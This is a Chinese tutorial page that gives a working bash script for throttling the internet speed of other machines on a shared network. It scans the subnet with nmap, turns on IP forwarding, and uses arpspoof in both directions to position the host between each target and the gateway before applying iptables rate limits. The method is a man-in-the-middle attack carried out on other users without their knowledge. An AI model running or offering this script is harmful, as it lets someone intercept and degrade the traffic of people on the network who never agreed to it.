Ubuntu下限制局域网网速教程
发布时间:2015-02-09 16:09:14 作者:佚名 我要评论
这篇文章主要介绍了Ubuntu下限制局域网网速教程,本文使用dsniff、nmap两个工具实现,需要的朋友可以参考下
为了限制无线路由器上大家的上网速度,减少p2p工具的影响
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:Ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
复制代码
代码如下:sudo nmap -ss 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
复制代码
代码如下:echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
复制代码
代码如下:#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p> <p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&</p> <p> $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j accept</p> <p> $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT</p> <p> $IPT -A FORWARD -s $2 -j DROP</p> <p> $IPT -A FORWARD -d $2 -j DROP</p> <p>done
相关文章
- 很多朋友电脑都安装了WIN7系统,也接入了快带上网,其实在WIN7系统中电脑会默认限制20%的网速,那么Win7系统网速不行怎么办?下面小编就为大家介绍Win7解除限制网速方法2016-08-18
- Win10系统自动限制网速该怎么提速?升级Win10一周年更新正式版系统后,很多朋友发现,网速变得很慢,这是因为win10限制了自己的网速,该怎么提速呢?下面我们就来看看详细2016-08-08
- 很多人说自己的宽带很高,为什么网速还是不好呢,好像被限制了一样,那么如何解除部分限制,下面小编给大家带来了win7解除网速限制的方法,一起看下吧2016-07-21
如何解除Win10默认网速限制 Windows10解除网速限制的设置教程
Win10系统默认情况下会保留网速的20%,留给一些需要的程序使用。而为了充分的利用网络,如何解除Win10默认网速限制呢?本文将提供Windows10解除网速限制的设置教程供大家了2015-11-27win8系统如何限制网速传输速度?win8系统限制网速传输速度的方法
win8系统如何限制网速传输速度?本文将提供win8系统限制网速传输速度的方法供大家了解,希望可以帮助到大家2015-09-17- 系统都会默认限制20%的网速,通过组策略编辑器我们可以很轻松地解除这个限制,使上网速度达到100%,下面就为大家图文演示下具体的操作步骤,需要的朋友不要错过2013-11-15
windows系统怎么破解默认限制的20%网速充分利用全部宽带资源
系统默认将带宽的20%用于作浏览器交互使用,如果未配置系统默认带宽限制是20%这样一来我们就可以充分利用全部的宽带资源了,具体破解步骤如下,感兴趣的朋友可以参考下哈2013-06-25- Win10系统会保留网速的20%,给一些需要的程序使用。因此,用户如果想要大幅提升网速的话,不妨可以将这些保留的网速限制全部释放掉。本文就给大家带来Win10解除网速2016-08-24
最新评论